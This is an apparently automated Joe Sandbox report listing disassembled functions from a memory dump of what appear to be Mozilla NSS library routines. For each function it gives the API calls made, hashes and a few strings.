Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: CriticalEnterJoinSectionThreadfree$EventPollableValue
String ID:
API String ID: 235599594-0
Opcode ID: 07ffbc643d18891119c62305f8d4411b45dfa5e5582e31c07648680e7b9939d5
Instruction ID: 290c5b9a20fd9030a4d5b05630bcad55127ffe7af8a6c9be30c46215ad920124
Opcode Fuzzy Hash: 07ffbc643d18891119c62305f8d4411b45dfa5e5582e31c07648680e7b9939d5
Instruction Fuzzy Hash: 3A9171B6901611DFCB04DF15C880946BBF1FF493187298569D8199BB22EB32FD46CBD1

Function 6CF05CF0 Relevance: 22.7, APIs: 15, Instructions: 190COMMON

Download Yara Rule

APIs

Part of subcall function 6CF02BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02BF0
Part of subcall function 6CF02BE0: CERT_DestroyCertificate.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C07
Part of subcall function 6CF02BE0: SECKEY_DestroyPublicKey.NSS3(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C1E
Part of subcall function 6CF02BE0: free.MOZGLUE(?,00000000,00000000,?,6CF02A28,00000060,00000001), ref: 6CF02C4A

free.MOZGLUE(?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D0F
free.MOZGLUE(?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D4E
free.MOZGLUE(?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D62
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D85
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05D99
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05DFA
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05E33
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E3E
free.MOZGLUE(?,?,?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E47
free.MOZGLUE(?,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000,?,6CF080C1), ref: 6CF05E60
SECITEM_ZfreeItem_Util.NSS3(00000008,00000000,?,?,?,6CF0AAD4,?,?,?,?,?,?,?,?,00000000), ref: 6CF05E78
free.MOZGLUE(?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05EB9
free.MOZGLUE(?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05EF0
SECKEY_DestroyPrivateKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05F3D
SECKEY_DestroyPublicKey.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CF0AAD4), ref: 6CF05F4B

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$Destroy$Public$CertificatePrivate$Item_UtilZfree
String ID:
API String ID: 4273776295-0
Opcode ID: 623b67d818e004f84677ba1848976ca3b4b6a4452535ce0ba3e169cc7742c2aa
Instruction ID: b9239e772c5af57ea6ad50b21983080d7b76c893c5f735ad6cc50bec4c1fe0d8
Opcode Fuzzy Hash: 623b67d818e004f84677ba1848976ca3b4b6a4452535ce0ba3e169cc7742c2aa
Instruction Fuzzy Hash: C8719CB5A04B019FD700CF24D898A93B7F5BF89308F148529E85E87B11EB32F959CB91

Function 6CE88DE0 Relevance: 22.7, APIs: 15, Instructions: 173memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(?,?), ref: 6CE88E22
EnterCriticalSection.KERNEL32(?), ref: 6CE88E36
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88E4F
calloc.MOZGLUE(00000001,?,?,?), ref: 6CE88E78
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88E9B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6CE88EAC
PL_ArenaAllocate.NSS3(?,?), ref: 6CE88EDE
memcpy.VCRUNTIME140(-00000008,?,?), ref: 6CE88EF0
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F00
free.MOZGLUE(?), ref: 6CE88F0E
memcpy.VCRUNTIME140(?,?,?), ref: 6CE88F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CE88F5B
PR_Unlock.NSS3(?), ref: 6CE88F72
PR_Unlock.NSS3(?), ref: 6CE88F82

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction ID: f5a59f2f04fb9f494647257d8affc959b0dafb51fd3a5c10335f100b04c4e034
Opcode Fuzzy Hash: de5b9371afb9b85cf36bcaaaf633d9dd8ef07c5e0067c0349ebd62b89bd567a9
Instruction Fuzzy Hash: D15127B2E022159FEB209F68CC8596EB7B9EF45358F25412AEC1C9B700E731ED4587E1

Function 6CEACE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CEACE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEACEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CEACED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CEACEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CEACF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CEACF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CEACF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CEACF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CEACF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CEACFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CEACFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CEACFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CEACFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CEAD007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CEAD021

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: fe84624fe320c45963a3024d4892c23e0eab66a302a0fb59e9385602cb62b0bd
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 693143757529102BEF0E10975D61BDE246A8B7530EF54103CFD1AFD7C0FA85971702A6

Function 6CF80FF0 Relevance: 22.6, APIs: 15, Instructions: 92COMMON

Download Yara Rule

APIs

PR_Lock.NSS3(?), ref: 6CF81000

Part of subcall function 6CF39BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6CE61A48), ref: 6CF39BB3
Part of subcall function 6CF39BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6CE61A48), ref: 6CF39BC8

PR_SetError.NSS3(FFFFE8D5,00000000), ref: 6CF81016

Part of subcall function 6CF1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CF1C2BF

PR_Unlock.NSS3(?), ref: 6CF81021

Part of subcall function 6CF1DD70: TlsGetValue.KERNEL32 ref: 6CF1DD8C
Part of subcall function 6CF1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CF1DDB4

PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF81046
PR_Unlock.NSS3(?), ref: 6CF8106B
PR_Lock.NSS3 ref: 6CF81079
PR_Unlock.NSS3 ref: 6CF81096
free.MOZGLUE(?), ref: 6CF810A7
free.MOZGLUE(?), ref: 6CF810B4
PR_DestroyCondVar.NSS3(?), ref: 6CF810BF
PR_DestroyCondVar.NSS3(?), ref: 6CF810CA
PR_DestroyCondVar.NSS3(?), ref: 6CF810D5
PR_DestroyCondVar.NSS3(?), ref: 6CF810E0
PR_DestroyLock.NSS3(?), ref: 6CF810EB
free.MOZGLUE(?), ref: 6CF81105

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: 9b136d9dd6101c24cd267ea21443d44fca3d5106a6147d881f1d078fffd73061
Instruction ID: 8b1bbfa839fd27f0a3fcb455803c2f75d02ea186ec3876b9f102409750a4d4a7
Opcode Fuzzy Hash: 9b136d9dd6101c24cd267ea21443d44fca3d5106a6147d881f1d078fffd73061
Instruction Fuzzy Hash: 86317CB5E15801ABDB029F25EC41A45BB71FF01359B188234E81953FA1EB32F978DBD2

Function 6CDFDC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CDFDD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CDFDD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CDFDE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CDFDEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CDFDECD

Strings

%s at line %d of [%.10s], xrefs: 6CDFDF7C, 6CDFDFEC
database corruption, xrefs: 6CDFDF77, 6CDFDFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CDFDF6D, 6CDFDFCC, 6CDFDFDD

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: 2655cff4149e2e94cd46c418bf10854cba5ca4eb239edd24ab474626196352c5
Instruction ID: 249957589bb31038064a1667d12f4590898f594278b2794f09afc85001f0f6d9
Opcode Fuzzy Hash: 2655cff4149e2e94cd46c418bf10854cba5ca4eb239edd24ab474626196352c5
Instruction Fuzzy Hash: 79A1C5716043419FD710CF29C880A6AB7F5FF85308F16892DF8A98BB61D731E946CBA1

Function 6CEBEDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CEBEE0B

Part of subcall function 6CED0BE0: malloc.MOZGLUE(6CEC8D2D,?,00000000,?), ref: 6CED0BF8
Part of subcall function 6CED0BE0: TlsGetValue.KERNEL32(6CEC8D2D,?,00000000,?), ref: 6CED0C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CEBEEE1

Part of subcall function 6CEB1D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CEB1D7E
Part of subcall function 6CEB1D50: EnterCriticalSection.KERNEL32(?), ref: 6CEB1D8E
Part of subcall function 6CEB1D50: PR_Unlock.NSS3(?), ref: 6CEB1DD3

TlsGetValue.KERNEL32 ref: 6CEBEE51
EnterCriticalSection.KERNEL32(?), ref: 6CEBEE65
PR_Unlock.NSS3(?), ref: 6CEBEEA2
free.MOZGLUE(?), ref: 6CEBEEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEED0
PR_Unlock.NSS3(?), ref: 6CEBEF48
free.MOZGLUE(?), ref: 6CEBEF68
PR_SetError.NSS3(00000000,00000000), ref: 6CEBEF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CEBEFA4
free.MOZGLUE(?), ref: 6CEBEFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CEBF055
free.MOZGLUE(?), ref: 6CEBF060

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction ID: f97078a2e28e807f21f90903a5c9580f1feb7bd3ac37d5439cb8a0dc504856f6
Opcode Fuzzy Hash: 784a3f03ab681aa5b7375584a83c4a52b906d09a9342d446a7c255cac431b2f6
Instruction Fuzzy Hash: 61815F75E00205ABDB009FA5DD85BEE7BB5BF09318F244068F909B7B11E735E924CBA1

Function 6CE84CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE84D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE84D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE84DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE84E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE84E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE84E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE84E85
DER_Encode_Util.NSS3(?,?,6CFD05A4,00000000), ref: 6CE84EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE84F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE84F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE84F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE84F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE84FC8

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction ID: d6ef00a6f9ccd5c612a6c9beb1d5df4f2fc7be1c5ef0ae876e3a194228984319
Opcode Fuzzy Hash: d015d7ea5b95e9177ff2bcb15858abee7e8499e1d1883e3a7824ecdd16d1057e
Instruction Fuzzy Hash: 5981AD71A09301AFE701CF68D851B5AB7F8EB85308F25892EF95CDB740E731E9058B92

Function 6CEC5C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CEC5C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CEC5CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CEC5CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CEC5D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CEC5D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CEC5E18
TlsGetValue.KERNEL32 ref: 6CEC5E5E
EnterCriticalSection.KERNEL32(?), ref: 6CEC5E72
PR_Unlock.NSS3(?), ref: 6CEC5E8B

Part of subcall function 6CEBF820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CEBF854
Part of subcall function 6CEBF820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CEBF868
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CEBF882
Part of subcall function 6CEBF820: free.MOZGLUE(04C483FF,?,?), ref: 6CEBF889
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CEBF8A4
Part of subcall function 6CEBF820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CEBF8AB
Part of subcall function 6CEBF820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CEBF8C9
Part of subcall function 6CEBF820: free.MOZGLUE(280F10EC,?,?), ref: 6CEBF8D0

Strings

d, xrefs: 6CEC5C36
tokens=[0x%x=<%s>], xrefs: 6CEC5D3D

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: 74ed2d5426bf59b1629abbfab00f30b28e6d73859b9fb2e2ecf5ad5392404a69
Instruction ID: 559ec0e163ac734e627f1bc2e3bbe384eb14ba70a513eada3b9390685a66b7fe
Opcode Fuzzy Hash: 74ed2d5426bf59b1629abbfab00f30b28e6d73859b9fb2e2ecf5ad5392404a69
Instruction Fuzzy Hash: D671D3B5F062019BEB009F24DE45BAB3775AF4131CF340439E8299AB42EB36E915D793

Function 6CEB8F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CEB9582), ref: 6CEB8F5B

Part of subcall function 6CECBE30: SECOID_FindOID_Util.NSS3(6CE8311B,00000000,?,6CE8311B,?), ref: 6CECBE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CEB8F6A

Part of subcall function 6CED0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE787ED,00000800,6CE6EF74,00000000), ref: 6CED1000
Part of subcall function 6CED0FF0: PR_NewLock.NSS3(?,00000800,6CE6EF74,00000000), ref: 6CED1016
Part of subcall function 6CED0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE787ED,00000008,?,00000800,6CE6EF74,00000000), ref: 6CED102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CEB8FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CEB8FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF9D820,6CEB9576), ref: 6CEB8FF9
DER_GetInteger_Util.NSS3(?), ref: 6CEB901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CEB903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CEB9062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CEB90A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CEB90CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CEB90F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CEB912D
free.MOZGLUE(00000000), ref: 6CEB9136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CEB9145

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 0835681762ce08e2e60761d6895dfbd9a88932bd46c7bb788762492747562d6d
Instruction ID: 26768234ea40bc4eae484bcf2704f0d81186c1b15b7ae3955ed82b14e8e9060d
Opcode Fuzzy Hash: 0835681762ce08e2e60761d6895dfbd9a88932bd46c7bb788762492747562d6d
Instruction Fuzzy Hash: AD51F5B2A042009BEB00CF28DD417AB77F8EF95318F254529E858E7741E735E945CBD2

Function 6CE6AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE6AF47

Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390AB
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF390C9
Part of subcall function 6CF39090: EnterCriticalSection.KERNEL32 ref: 6CF390E5
Part of subcall function 6CF39090: TlsGetValue.KERNEL32 ref: 6CF39116
Part of subcall function 6CF39090: LeaveCriticalSection.KERNEL32 ref: 6CF3913F

FreeLibrary.KERNEL32(?), ref: 6CE6AF6D
free.MOZGLUE(?), ref: 6CE6AFA4
free.MOZGLUE(?), ref: 6CE6AFAA
PR_ExitMonitor.NSS3 ref: 6CE6AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE6AFF5
PR_ExitMonitor.NSS3 ref: 6CE6B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE6B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE6B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE6B03C

Strings

%s decr => %d, xrefs: 6CE6AFF0
Unloaded library %s, xrefs: 6CE6B023

Memory Dump Source

Source File: 00000000.00000002.1878398630.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 00000000.00000002.1878378522.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878517517.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878551410.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878570540.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878586075.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1878603655.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdf0000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
